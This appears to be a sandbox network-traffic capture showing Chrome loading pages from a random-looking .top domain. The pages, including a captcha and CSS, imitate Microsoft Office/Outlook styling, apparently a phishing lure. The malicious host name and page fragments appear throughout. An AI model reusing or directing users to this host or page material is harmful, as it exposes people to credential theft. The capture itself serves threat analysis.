2024-10-25 08:19:11 UTC	1308	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 33 37 34 34 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 37 31 34 37 31 35 2c 22 54 22 3a 33 39 36 32 2c 22 4d 22 3a 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 49 64 3a 20 41 70 70 5f 53 61 76 65 48 6f 73 74 55 74 69 6c 73 44 61 74 61 2c 20 63 6f 72 72 65 6c 61 74 69 6f 6e 3a 20 39 34 31 31 61 64 37 32 2d 33 38 62 61 2d 34 66 37 31 2d 61 35 62 63 2d 30 35 64 38 65 66 32 39 64 65 63 32 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 33 39 36 32 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 41 70 70 5f 53 61 76 65 48 6f 73 74 55 74 69 6c 73 44 61 74 61 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 Data Ascii: {"T":1729844337446,"L":[{"G":595714715,"T":3962,"M":"Received messageId: App_SaveHostUtilsData, correlation: 9411ad72-38ba-4f71-a5bc-05d8ef29dec2","C":379,"D":50},{"G":596464288,"T":3962,"M":"Processing message: App_SaveHostUtilsData","C":379,"D":50},{"G"
2024-10-25 08:19:11 UTC	4663	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 2367309e-5744-448a-965e-4ffa8481d465 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C7D X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C7D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A3E5D0CE1C4B40F2A12089A8EFBAFB25 Ref B: DFW311000107017 Ref C: 2024-10-25T08:19:11Z Date: Fri, 25 Oct 2024 08:19:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49933	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:12 UTC	726	OUT	GET / HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:14 UTC	1198	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; path=/; domain=.ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top; secure; HttpOnly; SameSite=None expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WNpGy20TOITK%2FxZ7a7odySwQ2DtUjxucSuMF8GUDxqGRG2GwgVwheBXuR%2F1jiaPW%2BoV5PUIMVcBlPP6Sl0VdTDWNhuS2KRdIMfHw2mlmPsywbRyHhS65k3bTnoA9rPYus2Irc5qqE4ytetih64SfXejcgO3b6VjaxgCcxTBKCx7VXBQQfwt9kKyDGzsk6SAXIoSy2Pkwmax10tm8d2ZZgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c7c16931287f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1275&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2891&recv_bytes=1304&delivery_rate=2202281&cwnd=235&unsent_bytes=0&cid=fadc578712568798&ts=2070&x=0"
2024-10-25 08:19:14 UTC	171	IN	Data Raw: 66 37 61 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 74 72 61 6e 73 6c 61 74 65 3d 22 6e 6f 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 Data Ascii: f7a<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" translate="no" lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" cont
2024-10-25 08:19:14 UTC	1369	IN	Data Raw: 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0d 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 20 0d 0a 20 20 20 20 20 20 3c 74 69 74 6c 65 3e Data Ascii: ent="IE=edge"> <meta http-equiv="pragma" content="no-cache"> <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=0"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>
2024-10-25 08:19:14 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 33 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 Data Ascii: <div class="s s2"></div> <div class="s s3"></div> </div> <div class="r"> <div class="s s4"></div> <di
2024-10-25 08:19:14 UTC	1060	IN	Data Raw: 27 23 63 66 27 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 69 74 65 6b 65 79 3a 20 27 30 78 34 41 41 41 41 41 41 41 79 57 4a 4c 4b 61 6a 64 73 4c 36 54 52 48 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 27 65 72 72 6f 72 2d 63 61 6c 6c 62 61 63 6b 27 3a 20 6c 6e 7a 50 4d 52 63 69 79 58 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 49 50 4d 4b 4e 68 7a 51 75 55 2c 0d 0a 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6c 6e 7a 50 4d 52 63 69 79 58 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 73 65 74 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 49 50 4d Data Ascii: '#cf', { sitekey: '0x4AAAAAAAyWJLKajdsL6TRH', 'error-callback': lnzPMRciyX, callback: IPMKNhzQuU, }); function lnzPMRciyX() { turnstile.reset(); } function IPM
2024-10-25 08:19:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49934	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:14 UTC	722	OUT	GET /captcha/style.css HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
2024-10-25 08:19:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:14 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 01 Nov 2024 05:34:08 GMT last-modified: Thu, 24 Oct 2024 22:19:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 9906 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=30jCg02geQ4GhHcciyhnnqRY0HaYnFlgk5tiJQOmYFoa3GL7xA2Wc0o29g6mG0rm8nCDLaUN7PlHYjN8l07Tj4SCxYk6BBiPrYNrF23mO2cAjsPGUlXucVtwbga7iMPHaEIVI80G1zXwn0x67zeax%2Bw9vzs%2FFWk%2FsIM2AOGR36boQrkUKmQE6yKKNARCC2QksBQJXyAfBRdq9tHsnRNbqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c7ceaac06c1a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1066&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1300&delivery_rate=2639927&cwnd=251&unsent_bytes=0&cid=feae34d3f9807355&ts=2267&x=0"
2024-10-25 08:19:14 UTC	349	IN	Data Raw: 31 30 37 32 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 46 61 62 72 69 63 4d 44 4c 32 49 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 27 2f 2f 72 65 73 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 6f 77 61 6d 61 69 6c 2f 32 30 32 34 30 33 30 38 30 30 33 2e 30 39 2f 72 65 73 6f 75 72 63 65 73 2f 66 6f 6e 74 73 2f 6f 33 36 35 69 63 6f 6e 73 2d 6d 64 6c 32 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 27 2f 2f 72 65 73 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 6f 77 Data Ascii: 1072@font-face{font-family:FabricMDL2Icons;src:url('//res.cdn.office.net/owamail/20240308003.09/resources/fonts/o365icons-mdl2.woff') format('woff');font-weight:400;font-style:normal}@font-face{font-family:office365icons;src:url('//res.cdn.office.net/ow
2024-10-25 08:19:14 UTC	1369	IN	Data Raw: 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 6c 6f 61 64 69 6e 67 4c 6f 67 6f 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 63 61 6c 63 28 35 30 76 68 20 2d 20 39 30 70 78 29 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 76 77 20 2d 20 39 30 70 78 29 3b 77 69 64 74 68 3a 31 38 30 70 78 3b 68 65 69 67 68 74 3a 31 38 30 70 78 7d 23 4d 53 4c 6f 67 6f 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 6f 74 74 6f 6d 3a 33 36 70 78 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 76 77 20 2d 20 35 30 70 78 29 7d 2e 64 Data Ascii: t-style:normal}#loadingScreen{position:fixed;top:0;bottom:0;left:0;right:0;background-color:#fff}#loadingLogo{position:fixed;top:calc(50vh - 90px);left:calc(50vw - 90px);width:180px;height:180px}#MSLogo{position:fixed;bottom:36px;left:calc(50vw - 50px)}.d
2024-10-25 08:19:14 UTC	1369	IN	Data Raw: 65 6e 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 7d 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 65 6e 76 48 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 38 61 38 65 61 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 35 33 70 78 2c 2d 37 30 70 78 29 20 72 6f 74 61 74 65 28 32 38 64 65 67 29 7d 23 65 66 3e 2e 72 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 65 6e 76 48 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 39 30 64 66 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 7d 23 65 62 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 Data Ascii: en;margin-top:-41px}#ef>.l{width:287px;height:var(--envH);background:#28a8ea;transform:translate(-153px,-70px) rotate(28deg)}#ef>.r{width:287px;height:var(--envH);background:#1490df;transform:translate(-120px,63px) rotate(-28deg)}#eb{width:var(--envW);hei
2024-10-25 08:19:14 UTC	1131	IN	Data Raw: 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 2d 31 38 30 64 65 67 29 7d 40 6b 65 79 66 72 61 6d 65 73 20 6f 70 65 6e 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 7b 30 25 2c 31 30 30 25 2c 31 34 2e 35 25 2c 37 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 2d 39 30 64 65 67 29 7d 31 36 2e 35 25 2c 37 34 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 Data Ascii: g-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(-68px) rotate3d(1,0,0,-180deg)}@keyframes opened-flap-swing{0%,100%,14.5%,76%{transform:translateY(-68px) rotate3d(1,0,0,-90deg)}16.5%,74%{transform:translateY(-68px) rotate3
2024-10-25 08:19:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49940	151.101.194.137	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:14 UTC	595	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:15 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 25 Oct 2024 08:19:14 GMT Age: 3795325 X-Served-By: cache-lga21931-LGA, cache-dfw-kdfw8210177-DFW X-Cache: HIT, HIT X-Cache-Hits: 2, 1192 X-Timer: S1729844355.963792,VS0,VE0 Vary: Accept-Encoding
2024-10-25 08:19:15 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-25 08:19:15 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-10-25 08:19:15 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-10-25 08:19:15 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
